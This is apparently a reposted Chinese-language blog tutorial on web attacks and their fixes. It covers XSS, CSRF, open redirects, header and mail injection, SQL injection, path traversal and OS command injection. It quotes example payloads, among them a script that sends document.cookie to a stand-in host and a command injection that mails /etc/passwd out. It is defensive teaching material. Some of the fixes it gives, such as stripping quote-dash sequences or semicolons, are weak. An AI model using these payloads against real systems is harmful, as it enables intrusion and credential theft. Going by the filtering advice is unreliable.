web网络攻击解决方案
原文地址：https://www.xingkongbj.com/blog/http/web-attack.html
产生原因
- HTTP 不具备安全功能。
- 在客户端可以篡改请求。
跨站脚本攻击 XSS
攻击方式：
- 通过提交的信息中带入 js 脚本或 html 标签。
- 提前闭合标签，有些甚至不用特殊处理。
- 执行操作或者引入三方 js 。
正常请求：
http: //example.jp/login?ID="haha"
正常显示：
<input type="text" name="ID" value="yama" />
攻击请求：
http: //example.jp/login?ID="><script>var+f=document.getElementById("login");</script>"
攻击显示：
<input type="text" name="ID" value=""><script>var+f=document.getElementById("login");</script>
解决方案：
- 对提交内容进行编译，“<” 转 “<”, ">" 转 “>”。防止文本解析成标签。
跨站点伪造请求攻击 CSRF
攻击方式：
- 通过第三方网站，访问本网站的接口，导致携带本网站的 cookie 。
- 隐匿的使用户进行操作。
解决方案：
- 方法一：验证 HTTP Referer 控制请求必须本网站发出。
- 方法二：在请求地址中添加 token 并验证。
- 方法三：在 HTTP 头中自定义属性并验证，第三方网站的请求禁止携带自定义头。
URL 跳转漏洞攻击
攻击方式：
- 一般登录页面会在登录后，通过 URL 的参数进行回跳。
- 第三方网站，通过提供正规的登录地址和错误的回跳地址。
- 诱导用户以为安全登录。
解决方案：
- 对回跳的地址进行严格校验。
- 不能只简单校验域名是否在地址中存在。
对用户 Cookie 的窃取攻击
攻击方式：
- 引入三方恶意脚本，传输 cookie 到三方服务器。
如下：
var content = escape(document.cookie);
document.write("<img src=http: //hackr.jp/?");
document.write(content);
document.write(">");
解决方案：
- 保证引入脚本的安全，可以通过 CSP 对引入资源进行限制。
HTTP 首部注入攻击
攻击方式：
- 通过 %0D%0A 截断代码，注入 http 头代码。
Location: http: //example.com/a.cgi?q=101%0D%0ASet-Cookie:+SID=123456789
%0D%0A 代表 HTTP 报文中的换行符，紧接着的是可强制将攻击者网站（http: //hackr.jp/）的会话 ID 设置成 SID=123456789 的 Set-Cookie 首部字段。首部字段 Set-Cookie 已生效，因此攻击者可指定修改任意的 Cookie 信息。通过和会话固定攻击（攻击者可使用指定的会话 ID）攻击组合，攻击者可伪装成用户。
解决方案：
- 对 %0D%0A 进行识别，并且剔除。
HTTP 响应截断攻击
攻击方式：
- 通过 %0D%0A%0D%0A 截断代码，造成多余的空行，注入响应体代码。
Location: http: //example.com/a.cgi?q=101%0D%0A%0D%0Aalert(1);
HTTP 响应截断攻击是用在 HTTP 首部注入的一种攻击。要将两个 %0D%0A%0D%0A 并排插入字符串后发送。利用这两个连续的换行就可作出 HTTP 首部与主体分隔所需的空行了，这样就能显示伪造的主体，达到攻击目的。
解决方案：
- 对 %0D%0A 进行识别，并且剔除。
SQL 注入攻击
攻击方式：
- 通过单引号字符加“--”，截断 sql 语句。
正常请求：
http: //example.jp/search?q=haha
正常执行：
SELECT * FROM bookTbl WHERE author = 'haha' and flag = 1;
攻击请求：
http: //example.jp/search?q=haha‘ --
攻击显示：
SELECT * FROM bookTbl WHERE author = 'haha' --’ and flag = 1;
flag = 1 的条件被忽略
解决方案：
- 对 “‘ --” 进行识别，并且剔除。
服务器文件攻击
攻击方式：
- 通过读取服务器文件，获取服务器重要文件。
通过请求返回日志文件
http: //example.com/read.php?log=../../etc/passwd
查询字段为了读取攻击者盯上的 /etc/passwd 文件，会从 /www/log/ 目录开始定位相对路径。如果这份 read.php 脚本接受对指定目录的访问请求处理，那原本不公开的文件就存在可被访问的风险。
解决方案：
- 对最终的访问路径进行校验，只能访问最小目录。
邮件首部注入攻击
攻击方式：
- 通过 %0D%0A 截断代码，追加邮件地址。
- 通过 %0D%0A%0D%0A 截断代码，造成多余的空行，篡改邮件主体。
bob@hackr.jp%0D%0ABcc: user@example.com
%0D%0A 在邮件报文中代表换行符。一旦咨询表单所在的 Web 应用接收了这个换行符，就可能实现对 Bcc 邮件地址的追加发送，而这原本是无法指定的。
bob @ hackr.jp%0D%0A%0D%0ATest Message
使用两个连续的换行符就有可能篡改邮件文本内容并发送。
再以相同的方法，就有可能改写 To 和 Subject 等任意邮件首部，或向文本添加附件等动作。
解决方案：
- 对 %0D%0A 进行识别，并且剔除。
OS 命令注入攻击
攻击方式：
- 通过分号，截断语句，加入攻击语句。
核心代码：
my $adr = $q->param('mailaddress');
open(MAIL, "| /usr/sbin/sendmail $adr");
print MAIL "From: info @ example.com\n";
当传入 mailaddress 参数为 “; cat /etc/passwd | mail hack @ example.jp”
会执行下面的语句：
| /usr/sbin/sendmail ; cat /etc/passwd | mail hack @ example.jp
将含有 Linux 账户信息 /etc/passwd 的文件，就以邮件形式发送给了 hack @ example.jp。
解决方案：
- 对分号进行识别，并报错。
